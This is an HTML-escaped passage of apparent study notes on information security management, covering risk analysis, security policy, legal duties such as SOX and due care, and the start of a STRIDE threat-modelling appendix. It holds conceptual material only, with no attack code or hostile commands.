Risk&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;threats ×
     vulnerability × asset value = total risk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;(threats ×
     vulnerability × asset value) × controls gap = residual risk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Handling Risk&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Project sizing, which means to understand and document the scope of the project, must be done before a risk analysis&amp;nbsp;is performed.&lt;/span&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The main goals of risk analysis are the following: identify assets and assign values to them, identify vulnerabilities and&amp;nbsp;threats, quantify the impact of potential threats, and provide an economic balance between the impact of the risk and&amp;nbsp;the cost of the safeguards.&lt;/span&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;Steps
of a Risk Analysis&lt;/span&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Step 1: Assign
     Value to Assets&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;When determining the value of information, the following issues must be considered: the cost to acquire and develop&amp;nbsp;data; the cost to maintain and protect data; the value of the data to owners, users, and adversaries; the cost of&amp;nbsp;replacement if the data is lost; the price others are willing to pay for the data; lost opportunities; and the usefulness of&amp;nbsp;the data
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Step 2: Estimate
     Potential Loss Per Threat (including SLE)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Step 3: Perform
     a Threat Analysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Step 4: Derive
     the Overall Annual Loss Potential Per Threat&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Step 5: Reduce,
     Transfer, Avoid, or Accept the Risk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: dotted #943634 1.0pt; border: none; mso-border-bottom-alt: dotted #943634 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 191; mso-border-bottom-themeshade: 191; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h4&gt;



&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;3
Main steps for Risk Analysis:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Asset and
     Information value assignment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk Analysis
     and&amp;nbsp;assessment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;countermeasure
     selection and implementation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span class=&quot;Heading4Char&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk&amp;nbsp;Management&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;could take the input from
Planning and collecting information and defining the recommendations. It can
then handle the risk as:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk transfer&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk Avoidance&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk Mitigation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk Acceptance&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Automated risk analysis tools reduce the amount of manual work involved in the analysis. They can be used to estimate&amp;nbsp;future expected losses and calculate the benefits of different security measures.&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security Policy&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A security policy is a statement by management dictating the role security plays in the organization.&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A
security policy can be an organizational policy,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;an
issue-specific policy, or a system-specific policy.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Due
diligence&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;is
an understanding of the current threats and risks, and&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;due care&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;is&amp;nbsp;implementing countermeasures
to provide protection from those threats. If a company does not practice due
care and&amp;nbsp;due diligence pertaining to the security of its assets, it can be
legally charged with negligence and held accountable for&amp;nbsp;any ramifications
of that negligence.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Other
regulations also call out requirements of boards of directors, as in the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Gramm-Leach-Bliley Act (GLBA)&lt;/b&gt;.
But&amp;nbsp;&lt;b&gt;SOX&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;is a
regulation that holds the members of the board personally responsible, thus
they can each be fined or go&amp;nbsp;to jail.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #943634 1.0pt; border: none; mso-border-bottom-alt: dotted #943634 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 191; mso-border-bottom-themeshade: 191; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h4&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;Principles
of Federal Prosecution of Business Organizations&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
Department of Justice provides the following guidelines for attorneys when
attempting to prosecute corporate&amp;nbsp;wrongdoings:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Do
the corporation&#39;s directors exercise independent review over proposed corporate
actions rather than unquestioningly ratifying officers&#39; recommendations; are
the directors provided with information sufficient to enable the exercise of
independent judgment; are internal audit functions conducted at a level
sufficient to ensure their independence and accuracy; and have the directors
established an information and reporting system in the organization reasonably
designed to provide management and the board of directors with timely and
accurate information sufficient to allow them to reach an informed decision
regarding the organization&#39;s compliance with the law.&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #943634 1.0pt; border: none; mso-border-bottom-alt: dotted #943634 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 191; mso-border-bottom-themeshade: 191; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h4&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;International
Requirements&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;If
the organization is exchanging data with European entities, it may need to
adhere to the&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;a href=&quot;http://www.export.gov/safeharbor/sh_overview.html.&quot; target=&quot;_blank&quot;&gt;safe
harbor&lt;/a&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;requirements.&amp;nbsp;outlines
how any entity that is going&amp;nbsp;to move privacy data to and from Europe must
go about protecting it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Global
organizations that move data across other country boundaries must also be aware
of and follow the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Organisation
for Economic Co-operation and Development (&lt;a href=&quot;http://www.oecd.org/document/18/0,2340,en_2649_34255_1815186_%201_1_1_1,00.html.&quot; target=&quot;_blank&quot;&gt;OECD&lt;/a&gt;)&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Guidelines and transborder
information&amp;nbsp;flow rules.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #943634 1.0pt; border: none; mso-border-bottom-alt: dotted #943634 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 191; mso-border-bottom-themeshade: 191; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h4&gt;



&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt; line-height: 105%;&quot;&gt;Summary:
Security management&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A
security program should address issues from a strategic, tactical, and
operational view.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A key element during the initial security planning process is to define reporting relationships.&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security
management embodies the administrative and procedural activities necessary to
support and protect information&amp;nbsp;and company assets throughout the
enterprise.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Management must define the scope and purpose of security management, provide support, appoint a security team,&amp;nbsp;delegate responsibility, and review the team&#39;s findings.
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It includes
     development and enforcement of security policies and their&amp;nbsp;supporting
     mechanisms: procedures, standards, baselines, and guidelines.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It encompasses
     risk management, security awareness&amp;nbsp;training, and proper
     countermeasure selection and implementation.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Personnel
     (hiring, terminating, training, and&amp;nbsp;management structure) and
     operational (job rotation and separation of duties) activities must also
     be conducted properly to&amp;nbsp;ensure a secure environment.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Management must
     understand the legal and ethical responsibilities it is required to
     respect&amp;nbsp;and uphold.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security management should work from the top down (from senior management down to the staff).
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Summary&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The objectives
     of security are to provide availability, integrity, and confidentiality
     protection to data and resources.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security
     components can be technical (firewalls, encryption, and access control
     lists) or nontechnical (security policy,&amp;nbsp;procedures, and compliance
     enforcement).&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Asset
     identification should include tangible assets (facilities and hardware)
     and intangible assets (corporate data and&amp;nbsp;reputation).&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Assurance is a
     degree of confidence that a certain security level is being provided.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Procedures are
     detailed step-by-step actions that should be followed to achieve a certain
     task.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A baseline is a
     minimum level of security.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Job rotation is
     a control to detect fraud.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Mandatory
     vacations are a control type that can help detect fraudulent activities.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Data is
     classified to assign priorities to data and ensure the appropriate level
     of protection is provided.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Data
     owners specify the classification of data.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security
     has functional requirements, which define the expected behavior from a
     product or system, and assurance&amp;nbsp;requirements, which establish
     confidence in the implemented products or systems overall.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Safeguards
     should default to least privilege, and have fail-safe defaults and
     override capabilities.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Safeguards
     should be imposed uniformly so everyone has the same restrictions and
     functionality.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The data
     custodian (information custodian) is responsible for maintaining and
     protecting data.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A security
     analyst works at a strategic level and helps develop policies, standards,
     and guidelines, and also sets&amp;nbsp;various baselines.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Application
     owners are responsible for dictating who can and cannot access their
     applications, as well as the level of&amp;nbsp;protection these applications
     provide for the data they process and for the company.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Appendix A: Microsoft Threat
Modelling&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;u&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Should
fit alongside the &quot;methodologies for Risk assessment&quot; above.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3 style=&quot;background-attachment: initial; background-clip: initial; background-origin: initial; border-bottom-color: initial; border-bottom-width: initial; overflow-x: hidden; overflow-y: hidden; text-align: -webkit-auto;&quot;&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;STRIDE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;STRIDE is a classification
scheme for characterizing known threats according to the kinds of exploit that
are used (or motivation of the attacker).&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Spoofing Identity&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;“Identity spoofing”
is a key risk for applications that have many users but provide a single
execution context at the application and database level.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Tampering with Data&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Users can
potentially change data delivered to them, return it, and thereby potentially
manipulate client-side validation, GET and POST results, cookies, HTTP headers,
and so forth.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Repudiation&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Users may dispute
transactions if there is insufficient auditing or recordkeeping of their
activity.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
